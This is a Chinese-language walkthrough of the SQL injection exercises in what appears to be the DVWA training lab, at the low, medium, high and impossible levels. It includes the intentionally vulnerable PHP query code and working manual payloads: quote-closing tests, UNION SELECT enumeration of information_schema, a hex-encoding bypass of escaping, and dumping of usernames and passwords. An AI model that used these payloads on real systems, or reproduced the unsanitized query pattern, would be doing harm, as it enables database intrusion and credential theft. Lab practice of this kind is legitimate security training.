一、SQL注入介绍
1.1、通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过SQL注入可以对程序对应的数据存储区进行对应的探测。
1.2、形成SQL注入漏洞的原因:
1、用户输入不可控
2、输入内容被带入SQL语句执行
1.3、手工注入常规思路:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解SQL查询语句中的字段数
3、确定回显位置
4、获取当前数据库,获取数据库中的表,获取字段名
5、得到数据
二、SQL注入(low)
2.1、分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析查询语句可能存在字符型注入,也可以分别输入1+2,和3,判断是否是数字型。
<?php
if( isset( $_REQUEST[ ‘Submit‘ ] ) ) { //判断Submit变量是否存在
// Get input
$id = $_REQUEST[ ‘id‘ ]; //没有对参数进行过滤
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";//带‘‘表示为字符型,不带表示数字型
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
mysql_query()函数,如果是执行查询之类的语句(select),那么会返回一个资源标识符,也就是我们要查找的数据结果集;如果是执行增删改之类的语句,返回的就是true或者false了。
2.2、测试sql是否存在注入以及注入的类型,这里可以用1‘and‘1‘=‘1
2.3、猜解sql查询语句中的字段数,1‘ order by 2#
有结果,1‘ order by 3#
错误,得到表的字段数是2
2.4、构建联合查询,确定回显位置1‘ union select 1,2#
可以看出有两个回显
2.5、查询当前的数据库以及版本1‘ union select version(),database()#
2.6、获取数据库中的表 1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.7、获取表中的字段名1‘ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users‘#
2.8、获取字段中的数据1‘ union select user,password from users#
字符型注入最关键的其实就是如何闭合SQL语句以及注释多余的代码,比如说
‘or 1=1 or‘ user_id=‘‘or 1=1 or‘‘ 假or真or假
1‘or‘1‘=‘1 user_id=‘1‘or‘1‘=‘1‘ 真or真
‘or 1=1 # user_id=‘‘or 1=1 #‘ 假or真
‘or 1=1 -- user_id=‘‘or 1=1 --‘ 假or真
二、SQL注入(medium)
2.1、代码分析,中级然用户输入,只提供选择,分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中特殊字符如‘ ‘‘ / 空字符,查看sql查询语句可以看出可能存在数字型sql注入
2.2、存在注入并且注入类型为数字型
2.3、猜解字段数,得到字段个数为2
2.4、确定回显位置,下图说明有两个回显位置,1 union select 1,2#
2.5、获取当前数据库及版本1 union select database(),version()#
2.6、获取数据库中的所有表1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.7、获取表中的所有字段,由于单引号被转义,‘users‘无法执行,可以利用16进制进行绕过1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
2.8、获取字段中的数据1 union select user,password from users#
三、SQL注入(high)
代码分析,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数
输入1‘ union select user,password from users#
获得密码
三、SQL注入(impossible)
分析源码可以看出使用了PDO技术,杜绝了SQL注入。
PDO就是PHP data Object,提供了PHP操作多种数据库的统一的接口